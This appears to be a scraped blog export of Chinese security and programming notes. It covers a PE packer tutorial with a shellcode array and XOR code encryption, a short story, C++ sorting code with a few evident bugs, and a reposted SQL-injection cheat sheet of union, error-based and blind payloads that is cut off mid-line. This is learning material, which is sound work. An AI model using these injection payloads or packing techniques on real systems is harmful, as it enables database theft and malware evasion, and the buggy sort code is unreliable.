bits-not-64-bits\n插画ID : 93869785\n","categories":["CTF题记","Note"]},{"title":"加壳原理及实现流程与导入表结构分析","url":"/2021/05/29/shelldemo1/","content":"封面ID : 89322214\n前言:\n    笔者在学习制作软件外壳之前,一直对这种技术抱有过于简单的看法——即所谓的壳就是将代码段加密之后,往新节区写入解密代码并让OEP转为新节区处。\n    总体来说,这种解释并没有什么问题;但这种认识却是非常片面也过于简单的,以至于在实现的过程中接连发生了许多难以预料的问题。这些问题将在本篇下方逐一解释。\n    PE文件包括exe、dll、sys等多种类型,笔者只在这里实现EXE可执行文件的程序壳。尽管这相较于DLL文件更加简单,但也足矣说明很多问题了。\n    笔者会用代码和实操混合起来演示。\n正文:\n    首先,先大致复习一下PE文件结构中一些和壳相关性较强的参数吧(详细定义不再赘述)。\n​\nWORD MZSignature;DWORD Signature;WORD NumberOfSections;DWORD AddressOfEntryPoint;DWORD SizeOfCode;DWORD BaseOfCode;DWORD BaseOfData;DWORD ImageBase;DWORD SectionAlignment;DWORD FileAlignment;DWORD SizeOfImage;struct IMAGE_DATA_DIRECTORY_ARRAY DataDirArray;struct DLL_CHARACTERISTICS DllCharacteristics;//不代表其他参数不会被应用\n\n    还需要提一句的是,所有Windows系统下的PE文件,要想执行都需要经过“PE装载器”来完成初始化和加载入内存的操作。这些PE文件结构中的参数就是做给装载器看的,只有确切告诉装载器一些数据,它才能将文件正确的加载入内存并完成一些其他的工作。\n以下图程序为范例:\n    (这是一个比较特殊的范例,它只有三个节区,笔者为此碰了不少壁)\n    我们先走一遍基本流程,看看常规的操作是什么。\n​\n//读取待加壳文件HANDLE hFile = NULL;HANDLE hMap = NULL;LPVOID lpBase = NULL; hFile = CreateFile(FILENAME, GENERIC_READ GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0); lpBase = MapViewOfFile(hMap, FILE_MAP_READ FILE_MAP_WRITE, 0, 0, 0);\n\n    我将上面的三个变量设为全局变量以方便其他函数中也能够调用,通过WindowsApi里的函数实现映射,此时,lpBase将指向文件的开头(MZ签名)。\n//验证该文件是否为PE文件 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase; PIMAGE_NT_HEADERS pNtHeader = NULL; //PE文件验证,判断e_magic是否为MZ if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; } //根据e_lfanew来找到Signature标志位 pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew); //PE文件验证,判断Signature是否为PE if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) { UnmapViewOfFile(lpBase); CloseHandle(hMap); CloseHandle(hFile); return 0; }\n\n    笔者一度以为这种验证方法是否有些拘谨,但这一部分在实际操作中并不会有什么问题,因为PE装载器也是这样来识别文件的;这意味着,那些压缩文件头的壳即便将文件头修改得面目全非,也仍然能被识别成PE文件,因此多种壳的嵌套似乎就并没有那么不可能了。\n//声明一个指向“新节区头”的指针pTmpSec int nSecNum = pNtHeader->FileHeader.NumberOfSections; DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment; DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment; PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD) & (pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader); PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;\n\n    节区头是一个固定宽度的结构体,在“windows.h”中可以通过PIMAGE_SECTION_HEADER来直接声明(该文件头也包括一系列的PE文件头结构)。\n    而按照PE文件的结构,Nt头的下面就是节区头,代码逻辑已经足够清晰了便不再赘述。\ntypedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics;} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;\n\n/*初始化“新节区头”的各项参数*/ char szSecName[] = ".toka"; //拷贝节区名称 strncpy((char*)pTmpSec->Name, szSecName, 7); //节的内存大小 pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment); //节的内存起始位置 pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress + AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment); //节的文件大小 pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment); //节的文件起始位置 pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData + AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment); //节的属性(包含代码,可执行,可读) pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE IMAGE_SCN_MEM_EXECUTE IMAGE_SCN_MEM_READ; //修正节的数量,自增1 pNtHeader->FileHeader.NumberOfSections++; //修正映像大小 pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize; //保存当前的OEP DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint; //修正代码长度 pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData; //修正程序的入口地址 pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;\n\n    Name是一个8Byte字符数组,可直接拷贝。\n    VirtualAddress为节区加载如内存时的RVA,它应该符合SectionAlignment的对齐参数(例如 .text的VirAddr为1000h,下一个节区的大小就应该是 (VirAddr+SizeOfRawData)的向上取SectionAlignment的整数倍)\n    而SizeOfRawData则也该符合FileAlignment整数倍向上取整对齐\n    我们默认新节区中存放的内容均可被当作代码执行,因此SizeOfCode增加节区的SizeOfRawData大小\n    节区属性通常是固定的值,暂时不需要考虑过多\n    最后将Nt头中的SizeOfImage增加节区的VirtualSize大小,并保存当前的OEP,将OEP设置到新的节区,完成一个新节区头的初始化(下图为此时的文件状态,可以看见,010已经能够识别到新的节区头和新的节区位置了)\n​\n    那么接下来,我们就需要给这个尚且什么都没有的节区添加可执行代码了。\nchar shellcode[] ="\\x33\\xdb""\\x53""\\x68\\x2e\\x65\\x78\\x65""\\x68\\x48\\x61\\x63\\x6b""\\x8b\\xc4""\\x53""\\x50""\\xb8\\x31\\x32\\x86\\x7c""\\x90\\x90""\\xb8\\x90\\x90\\x90\\x90""\\xff\\xe0\\x90";//增加节区数据 函数void AddSectionData(int nSecSize){ PBYTE pByte = NULL; //申请用来添加数据的空间,这里需要减去ShellCode本身所占的空间 pByte = (PBYTE)malloc(nSecSize - (strlen(shellcode) + 3)); ZeroMemory(pByte, nSecSize - (strlen(shellcode) + 3)); DWORD dwNum = 0; //令文件指针指向文件末尾,以准备添加数据 SetFilePointer(hFile, 0, 0, FILE_END); //在文件的末尾写入ShellCode WriteFile(hFile, shellcode, strlen(shellcode) + 3, &dwNum, NULL); //在ShellCode的末尾用00补充满 WriteFile(hFile, pByte, nSecSize - (strlen(shellcode) + 3), &dwNum, NULL); FlushFileBuffers(hFile); free(pByte);}\n\n    申请一段空间,大小为 节区大小-shellcode 大小,并将内容置零\n    向文件末尾写入shellcode,并多余补零将节区大小不充到之前设定好的SizeOfRawData\n​\n    可以看见,新的节区也已经获得了数据,倘若现在将其放入Ollydbg中动态调试,我们将得到预期的结果,并且软件也能够正常运行。\n​\n    倘若我们只需要一个“伪壳”,那么做到这一步已经足够了;但实际上,上面的操作和基础的Shellcode注入并没有什么不同。它远无法达到一个“壳”所要求的强度\n   因此我们需要为它引入一个“代码加密模块”,只要没有运行完壳代码,源程序将无法运行(这里将只加密 .text 段)。但一旦加密,许许多多的问题就跟着来了。\n//异或加密 BYTE* content = (BYTE*)lpBase; content = content+pSecHeader->PointerToRawData; int SizeText = pSecHeader->SizeOfRawData; for (int i = 0;i<SizeText; i++) { *content ^= 0x0D; content++; }\n\n    在添加节区之后,我们为代码增加这样一个模块。它将会把**.text段的每个Byte与0x0D异或**\n    那么来看看这样做会导致什么问题吧\n​\n    可以发现,010的识别出现了严重的偏差,但这个问题似乎还不够具有冲击力,不妨试着放入Ollydbg动态调试一下?\n​\n    可能你会好奇,我还没有写如解密的代码,不能运行难道不是很正常吗?\n    但再回忆一下刚才的过程,程序的OEP应该是我们自己编写的Shellcode,它是没有经过加密的;也就是说,哪怕程序不能运行,它至少也应该能够执行到Shellcode结束的地方才对吧?\n    再来看看这个错误**”0x0000005”**,常见原因为内存地址非法引用、越界等,从结论来说,因为内存的错误导致程序已经完全不能运行了(程序已损坏)\n那么接下来讨论一下这个问题的原因:\n    我们需要引入一个上面没有提到的概念——“导入表”,它就在OptionalHeader中的DataDirArray里\n​\n下图为导入表完整的结构顺序,方框代表结构体,文字表示一个地址\n​\ntypedef struct _IMAGE_DATA_DIRECTORY { DWORD VirtualAddress; DWORD Size;} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;\n\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) } DUMMYUNIONNAME; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)} IMAGE_IMPORT_DESCRIPTOR;typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;\n\ntypedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1;} IMAGE_THUNK_DATA32;typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;\n\ntypedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; CHAR Name[1];} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;\n\n    当系统运行PE文件时,装载器将会通过这张导入表的IMAGE_IMPORT_BY_NAME来得知程序需要用到哪些外置函数,并将这些函数的地址写入FirstThunk(IAT),于是你的程序就能够通过调用FirstThunk中储存的地址来调用函数\n    那么,这些导入表被放在示范文件的哪些地方了? .text 段\n    所以原因也就清楚了,当装载器试图获取函数的时候,你告诉它的每一个地址都是错误的,程序自然就会因为错误的地址导致崩溃了\n    所以,如果你尝试将IMAGE_DATA_DIRECTORY中的Size置零,或是将VirtualAddress置零,还或者是将IMAGE_IMPORT_DESCRIPTOR置零,你的程序都不会发生刚才的问题\n    放入Ollydbg中就能发现,程序至少能够执行到shellcode处了\n    但实际上,我们其是遇到的不应该是这样的程序\n​\n    上图为win7操作系统自带的计算器calc.exe\n    我们可以很明显的发现,它的导入表全都在 .rdata,这完美的避开了导入表被破坏的情况\n    因此倘若我们对这个文件进行加壳的时候就不会出现因为导入表破坏的情况出现了\n后话:\n    这更像是一种偷懒的方式,因为我们不可能总能遇到这张刚刚好的程序(尽管版本较新的编译器都会把这些段明确区分开来了)。\n    笔者查阅了各种各样的文章,最终只在思路上有所理解,却苦于实现有些困难\n  《加密与解密》第19章给出了导入表抹去的一种思路:\n    通过拷贝原导入表并抹去,将导入表写入新节区;在壳代码段中调用LoadLibray()与GetProcAddress()两个函数来模拟装载器生成导入表的操作,最后将获取的地址装回原导入表的IAT处实现表的重载和加密。\n    但我翻阅了一些大佬的文章,均没有提及上述过程的具体流程,似乎都默认了IAT不会被加密这一事实,因此在这里留作一个疑问,哪天得到了答案再作补充吧。\n    至于Shellcode的构造,这里不做赘述,笔者自己目前也并没有非常精通,还是不要误导他人为好。\n参考:\n 《加密与解密》\n 九阳道人:\nhttps://bbs.pediy.com/thread-250960.htm\nhttps://bbs.pediy.com/thread-251267.htm\n","categories":["Note","逆向工程"],"tags":["C++","壳"]},{"title":"烟灰色戏言","url":"/2022/03/29/smoke-joke/","content":"楼下的小卖铺不知道从哪进了一款新烟,我第一次见到那家店铺老板的笑容,猥琐又有些狡猾。他似乎相当兴奋,摇着手要我试试新货。过去一直苦着脸的样子全然看不出来,有的只是难以担待的盛情。耐不住其热情,我还是花了平常价格的两倍从他那买了一包从没试过的烟。烟盒上没有任何花纹和商标,朴素的有点难以让人相信它是商业制品,想来是哪里的小作坊私造香烟,不敢把自己的牌坊印在烟盒上吧。烟的味道有些微妙,但却有一种令人怀念又难以割舍的魔力,我说不上那种诡异的感觉,只觉得烟的味道还不错。也有想过推荐给别人,只是谁都不认识我,就连常常光顾的店铺老板都叫不上我的名字。街上的空气还是一如既往晦涩,让人很难嗅出接下来将要发生的事情。我叼着刚买的香烟试图在前些日子发生坠落的建筑附近寻找灵感。不过这是谎话,我只是受不了那间屋子的压抑罢了。这个冬天冻死了不少流浪汉,公园里今天也有很多公务员在为他们收尸。其实他们也嫌麻烦,但还算尽职尽责,至少没让尸体就这样僵硬在公园角落。但这也是戏言,因为如果他们不把尸体拖去火葬场,其他流浪汉就会用它们取暖。社会肯定不会允许他们公然在公园广场上纵火,只是没有管理他们的余裕,只能暂时釜底抽薪。在别人看来,这似乎相当异常,但很多时候这都是无可奈何的事情,所有人都在拼尽全力地活着,只是手段各不相同罢了,没有理由因此而责备他们。不好意思,这仍不过是个玩笑话,其实大家都只是得过且过,不可能毫无怨言,只是已经放弃抵抗了。运气好的能熬过这个冬天,运气差的可能下星期就会被冻死在夜里。但即便熬过了这个冬天,下个冬天也不会因此放过他们,而且只会比这一次更加难熬,风会刺得更疼,雪也积得更厚,白天会更短,黑夜会更长,手脚也只会有更长的时间处于无知觉状态,日子也只是一天比一天无望罢了。其实大家也都知道的,我问过他们。我当时用一块面包换来了他们的答案,时至今日,我也记得对方当时感恩戴德的模样,好似一场施舍。他紧紧攥着我的手,一副快要哭出来的样子,而他的儿子尽管不明所以,却也跪在身边,向我磕头。我看他们可怜,于是多给了一块面包,他们更是感激得直接哭了出来,手颤抖的极不自然。抱歉,我又开玩笑了,其实他们是看准了我身上还有食物,有意敲了我一笔,我已经不记得具体情况了,但我当时失望透顶,因为在我走后,他们对我能拿出的食物的量也失望透顶。我只记得这些了。我回过神来,才发现自己已经不知道绕到哪去了。路边多了一家从没见过的甜品店,不知道是不是最近开的,倘若如此,那店家一定没什么商业视野,因为这个时期无论做什么肯定都比做食物要赚钱,在一部分人看来,做食物和做饲料没有差别。我把快抽完的香烟丢进随身携带的烟袋里,慢悠悠地晃进甜品店,店长的女儿热情地接待了我,端着托盘一直矗在旁边,我每夹一份甜品,她就笑得愈灿烂。倒不是不能理解她的殷切,但她把那些只想闻闻刚出炉的甜品香气的客人赶出去的行为令我有些抵触。我没办法厚着脸皮跟她说自己不打算买了,只好提着有些沉重的甜品重新回到了大街上。里面有三个甜甜圈,但其实我并没有那么喜欢甜食,或者说对食物本身就没有太多兴致,只是我实在不想看见她一副遗憾和不屑的样子,迫于压力还是要了一点。重新点了一根香烟,还是那种复杂而又熟悉的味道。我下意识的想找个人一起分享甜品,又很快否定了这个荒谬的想法。街道毕竟不是我的街道,城市也不是我的城市,我既无求与它们,也不奢望能从它们那里得到什么。或许我会和那些流浪汉一样,光是被允许居住就必须感恩,光是能有一份工作就得殚精竭虑。倒也无所谓,其实能给我香烟和酒精就够了。我想大多数人都是这样,喜欢迷糊要多余清醒,会觉得神志不清的状态要比清醒更吸引人,我又何尝不是呢。对不起,我又说笑了。其实喜欢与否根本无关紧要,只是渐渐适应了,也就觉得没什么了。那个流浪汉也这样说了,我记不住,但意思是一样的,我们生来就只有一种选择。以前我或许还会勃然大怒,但现在只要有香烟就行了。其实他们也比起面包更想要香烟,但我当时还不抽烟,不知道这会成为第二种氧气,所以还没注意到,其实真正迫切的不是食物,是烟酒。抱歉,这还是玩笑,我又失言了。还有比烟酒更强烈的致幻剂,多到数不胜数,他们其实更喜欢那些东西,只是因为它们都不如烟酒来得容易,毕竟乞讨多多少少能得到些金钱。不知不觉,一根接一根地品尝已经快到尽头了。口中只剩下了烟草的苦涩,从中途开始已经已经不记得自己在做什么了。我下意识地从口袋里掏出烟盒,里面只剩下两根了,我又抽出一根叼在嘴里,但这次没点燃,只是在路边找了张长椅坐下而已。我望着天,那里什么也没有。这里的冬天很少能有晴天,今天算是例外中的例外了。可能也会有人在意,为什么他们不趁着秋天离开这里,即便想要回来,等春天再回来不就好了?理由可能会让所有人失望,其实大家只是懒得逃了。我们多多少少都有些习惯了,已经不在意结果如何了,过程也显得无关紧要了,只是在得过且过地活着罢了。倘若这个冬天会死,那就死在这个冬天;倘若熬过了这个冬天,那就在下个冬天继续。最后的最后,我们只是越来越懒惰,越来越多的事情变得无关紧要,最后,什么事都比如一根香烟来得重要,酒精优于一切。所以逃是没必要的,因为下一座城市也同样不会欢迎我们,即便那里的冬天不像这里来得要命,也没有人能保证那里的夏天就待人温和。只有政客和骗子会向他们承诺未来。对我们来说,没有任何话语是真实的,全都是戏言和玩笑。就好像我现在靠在长椅上,叼着一根还没点燃的香烟假装睡着了。要不了多久,一定会有人偷偷把它抢走,然后没逃几步就停下来开始吸烟。我会从口袋里拿出最后一根,现在终于有人与我一起分享新香烟的味道了。我很想问问他感觉如何,奈何我追不上他,就此作罢。甜甜圈也不知不觉间被谁拿走了,我不得已又绕回了那家店铺重新买了一份。味道差强人意,希望他们也是如此觉得吧。玩笑也该适可而止,所以今天先到这里吧。不好意思,可能我总是无意间表现出不正经的样子。其实我今天哪也没去,只是坐在街道旁的楼梯上而已。甜品店就在旁边,小卖铺也一样,长椅是指台阶,不过香烟是个例外,它真的很令我怀念。\n\n\n插画ID:72354485\n","categories":["Story"],"tags":["故事","随笔"]},{"title":"排序Sort(代码与笔记)","url":"/2021/02/21/sortset/","content":"[toc]\n插入排序:void InsertionSort(int *source,int N)//升序{int j, p,tmp;for (p = 1; p < N; p++){tmp = source[p];for (j = p; j > 0 && source[j - 1] > tmp; j--)source[j] = source[j - 1];source[j] = tmp;}}void ShellSort(int *Source,int *Incrementlist,int N1){int i, j, tmp,increment,s;for (s = 0;; s++){if (Incrementlist[s] > N1)break;}s--;for (increment = Incrementlist[s]; s>=0 ;s--){for (i = increment; i < N1; i++){tmp = Source[i];for (j = i; j >= increment; j -= increment)if (tmp < Source[j - increment])Source[j] = Source[j - increment];elsebreak;Source[j] = tmp;}}}//Hibbard:Dk=2^k-1 {1,3,7,15......}//Sedgewick:{1,5,19,41,109......}\n\n堆排序:void PercDown(int *Source,int i,int N){int Child,Tmp;for (Tmp = Source[i]; 2 * i + 1 < N; i = Child){Child = 2 *i +1;if (Child != N - 1 && Source[Child + 1] > Source[Child])Child++;if (Tmp < Source[Child])Source[i] = Source[Child];elsebreak;}Source[i] = Tmp;}void HeapSort(int *Source,int N){int i;for (i = N / 2; i >= 0; i--)PercDown(Source, i, N);for (i = N - 1; i > 0; i--){Swap(&Source[0],&Source[i]);PercDown(Source, 0, i);}}void Swap(int *a,int *b){int tmp = *a;*a = *b;*b = tmp;}\n\n归并排序:void MSort(int *A,int *TmpArray,int Left,int Right){int Center;if (Left < Right){Center = (Left + Right) / 2;MSort(A, TmpArray, Left, Center);MSort(A, TmpArray, Center + 1, Right);Merge(A, TmpArray, Left, Center + 1, Right);}}void Mergesort(int *A,int N){int* TmpArray;try{TmpArray = new int[N];MSort(A, TmpArray, 0, N - 1);delete TmpArray;}catch (const bad_alloc& e){exit;}}void Merge(int A[],int TmpArray[],int Lpos,int Rpos,int RightEnd){int i, LeftEnd, NumElements, TmpPos;LeftEnd = Rpos - 1;TmpPos = Lpos;NumElements = RightEnd - Lpos + 1;while (Lpos<=LeftEnd&&Rpos<=RightEnd)if (A[Lpos] <= A[Rpos])TmpArray[TmpPos++] = A[Lpos++];elseTmpArray[TmpPos++] = A[Rpos++];while (Lpos <= LeftEnd)TmpArray[TmpPos++] = A[Lpos++];while (Rpos <= RightEnd)TmpArray[TmpPos++] = A[Rpos++];for (i = 0; i < NumElements; i++, RightEnd--)A[RightEnd] = TmpArray[RightEnd];}\n\n图解参考:https://www.cnblogs.com/chengxiao/p/6194356.html\n快速排序:#define Cutoff 2//规定操作的左右范围长度void Quicksort(int *Source,int N)//驱动例程{ Qsort(Source, 0, N - 1); }int Median3(int *A,int Left,int Right){int Center = (Left + Right) / 2;if (A[Left] > A[Center])Swap(&A[Left], &A[Center]);if (A[Left] > A[Right])Swap(&A[Left], &A[Right]);if (A[Center] > A[Right])Swap(&A[Center],&A[Right]);Swap(&A[Center], &A[Right - 1]);return A[Right - 1];}//获取中位数(首位,中位,末位)void Qsort(int *A,int Left,int Right)//实际例程{int i, j, Pivot;if (Left + Cutoff <= Right){Pivot = Median3(A, Left, Right);i = Left; j = Right - 1;for (;;){while (A[++i] < Pivot){}while (A[--j] > Pivot){}if (i < j)Swap(&A[i], &A[j]);elsebreak;}Swap(&A[i], &A[Right - 1]);Qsort(A, Left, i - 1);Qsort(A, i + 1, Right);}elseInsertionSort(A + Left, Right - Left + 1);}void Qselect(int A[],int k,int Left,int Right){int i, j, Pivot;if (Left + Cutoff <= Right){Pivot = Median3(A, Left, Right);i = Left; j = Right - 1;for (;;){while (A[++i] < Pivot) {}while (A[--j] > Pivot) {}if (i < j)Swap(&A[i], &A[j]);elsebreak;}Swap(&A[i], &A[Right - 1]);if(k<=i)Qselect(A, k, Left, i - 1);else if(k>i+1)Qselect(A, k, i + 1, Right);}elseInsertionSort(A + Left, Right - Left + 1);}int QuickSelect(int* Source, int k,int N){Qselect(Source, k, 0, N - 1);return Source[k-1];}\n\n     快速排序的图解请移步其他大佬,这里主要是梳理一遍其排序过程,对一些晦涩的地方做出些许标记。\n    ①首先从驱动例程进入。Left和Right分别标记为数组的左右端点。声明必要的常量。\n   (注:Cutoff常量能够决定“左右端点的间距”。之所以要这样做,是因为递归算法在大量数据的排序过程中虽然很方便,但从汇编的角度却不可避免的需要不停地入栈出栈,对于一些小规模数据的排序来说,这是一种浪费。所以当排序的数据量低于Cutoff的时候,选用另外一种更加简单的非递归算法要比原先的递归算法来得更加效率)\n    ②Pivot取 首/中/末 位的中位数,并将i标记位Left(左端点),j标记为Right-1(最大索引数)\n    (注:Pivot的取值实际上是越接近全数组的中位数越好,因为这样可以尽可能的将数组拆分为同样大小的另外两个数组,从结论上来说,如果每一次都能等分,那么递归的次数是最少的,因此也是最快的。但在实际中,选取中位数是困难的一件事,所以只能大致取一个靠近中位数的来替代它。且还需要避免一些最糟糕的情况,比方说全数组的元素都相同,那么数组的分割将会毫无意义,又或者数组已经排好了序之类的。经过衡量,对于那些随机的投放元素的数组,这种取法能够尽可能的靠近中位数。)\n    (注:已经另外一个需要注意的是,Median3函数将选出的Pivot放在了A[Right-1]的位置,这样做能避免之后出现关键字与Pivot相同的时候进行的额外的操作)\n    ③进入循环,直到 i 标记越过或是与 j 标记重叠。期间,在第一个while循环中,当 A[i]>Pivot的时候将会停下,同理的,j标记也是一样。最后将两个元素进行交换。\n    ④直到 i 标记与 j 标记重叠或越过后,将现在 i 标记所指的单元与Pivot交换。那么,现在 i 标记的左边的所有值都将小于Pivot,右边所有值都将大于Pivot。\n    ⑤对 i 标记 左边的所有值进行同样的排序操作,结束后再对右边同理进行排序。\n    (注:最终必然会依靠插入排序对剩下的元素进行排序,请不要忘记这一点来观察图解)\n快速选择:(以选出数组中第 k 大/小 的数为例)\n    从快速排序中派生出的算法。基本上同上面一样,但速度还能更快,因为它不需要对整个数组进行排序。\n    上述的第⑤步,只需要先判断我们选取的值是在Pivot左边还是Pivot的右边,然后排序所在的那一侧,就能顺利的选出目标。这样会减少很多操作,所有速度能更快。\n桶排序:    对于任何一种需要比较的排序算法,其最优的时间下界也在NlogN处,但如果已知了一部分的信息,甚至能将这个时间优化为近乎线性,这便是桶排序的一种想法。对于已知的数据量上下界,为其建立好一个个桶,每遇到一个元素,就将其放进相应的桶里,最后来统计桶中的球的数量。但即便这样还是有些抽象,建议看一些大佬们画的图解。\n    以及有的时候,我们的数据块并不是整数,而是一个个非常大的节点。它们无法全都装到内存里面去,所有如果仍然执行交换操作,将会浪费非常多的时间在这里。一种简单的操作方法是,为这些数据建立一个指针数组,数组的第一格存放的指针指向最小的数据块,第二格,第三格……\n    这样,在需要排序的时候,我们实际只需要排序指针的位置,而不需要移动数据本来的位置。从而能减少很多时间。\n    如下代码是我自己写的桶排序与外部排序的结合,通过链表的方式实现。\n全代码:\ntypedef struct Queue* Position;typedef struct Node* pNode;struct Node{int Key;pNode Next;};struct Queue{pNode Data;};Position BucketSort(Node *A,int Size,int MaxNumber){Position P;P = new Queue[MaxNumber];pNode tmp;for (int i = 0; i < MaxNumber; i++)P[i].Data = NULL;for (int i = 0; i < Size; i++){tmp = P[A[i].Key].Data;while (tmp->Next)tmp = tmp->Next;tmp->Next = &A[i];tmp->Next->Next = NULL;}return P;}\n\n    不是很复杂,主要是针对[0,MaxNumber)区间的一系列能够依靠整数关键字来排序。\n基数排序:(算是桶排序的变种)    原理并不复杂。最低位的次序关系将会在其高位的排序中保留下来。\n    基础的这种算法只能用于排序整数。并且如果算法设计的不是很好,MSD(最高位优先)很可能不稳定。以下代码位LSD(最低位优先)。\nint MaxGet(int *Source,int N){int tmp=0;for (int i = 0; i < N; i++){if (Source[i] > tmp)tmp = Source[i];}return tmp;}int BitGet(int A){int d = 0;while (A > 0){A /= 10;d++;}return d;}void RadixSort(int *Source,int N)//Least Significant Digit{int MaxNumber = MaxGet(Source,N);int Bit = BitGet(MaxNumber);int* tmplist = new int[N];int* Count = new int[10];int k = 0,radix = 1;for (int i = 0; i <= Bit; i++){for (int j = 0; i < 10; j++)Count[j] = 0;for (int j = 0; j < N; j++){k = (Source[j]/radix) % 10;Count[k]++;}for (int j = 1; j < 10; j++)Count[j] = Count[j - 1] + Count[j];for (int j = N-1; j >=0; j++){k = (Source[j]/radix) % 10;tmplist[Count[k] - 1] = Source[j];Count[k]--;}for (int j = 0; j < N; j++)Source[j] = tmplist[j];radix *= 10;}delete[]tmplist;delete[]Count;}\n\n    ①首先获取整个数组中最高的数位(比如最大有1000,那Bit就应该为4)\n    ②建立临时数组tmplist和计数器Count。声明变量。\n    ③进入循环。Count初始化,并统计最低位为 k 的数的个数。\n    ④将Count中保存的个数转换为对应的tmplist中的索引编号\n    (比方说,Count[0]=2,Count[1]=3。那最低位为0的数就应该摆在tmplist[01],而最低位为1的数则在tmplist[24]。将计算好的Count[j]-1就是低位相同的数的最高储存索引(比如说tmplist[0~5],那它就会把6存在Count里))。\n    ⑤将每一个数全都按照低位的大小排入tmplist,并将tmplist数据复制到Source中(如果不吝啬代码的长度,可以改为两个数组的交替使用,可以在一定程度上再提高一点效率)。\n    ⑥再按照第二位重复如上操作,直到最高位也结束排序。最后将tmplist和Count的空间都释放掉\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"SQL注入相关","url":"/2021/02/17/sqlinject/","content":"本篇文章转载自:https://www.anquanke.com/post/id/205376#h2-0\n对SQL注入的学习结束后将会对本文进行改编和补充,届时将会重新发布自己编写的版本。\n//————————————–//\n[toc]\n本文的注入场景为:\n\n一、基础注入1.联合查询即最常见的union注入:\n若前面的查询结果不为空,则返回两次查询的值:\n\n若前面的查询结果为空,则只返回union查询的值:\n\n查完数据库接下来就要查表名:\n' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23\n\n\n接下来是字段名:\n' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23\n\n\n得到字段名后查询相应字段:\n' union select flag from table1%23\n\n\n一个基本的SQL注入过程就结束了。\n2.报错注入报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:\n1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id=1 and exp(~(select * from(select user())a));\n\n效果:\n\n3.布尔盲注常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Order by盲注。\n返回值只有True或False的类型\n如果查询结果不为空,则返回True(或者是Success之类的),否则返回False\n这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确\n例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+\nOrderby盲注\norder by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注:\n\n例:\norder by rand(database()='pdotest')\n\n\n返回了True的排序,说明database()=’pdotest’是正确的值\n4.时间盲注其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。\n常见的时间盲注有5种:\n1.sleep(x)\nid=' or sleep(3)%23id=' or 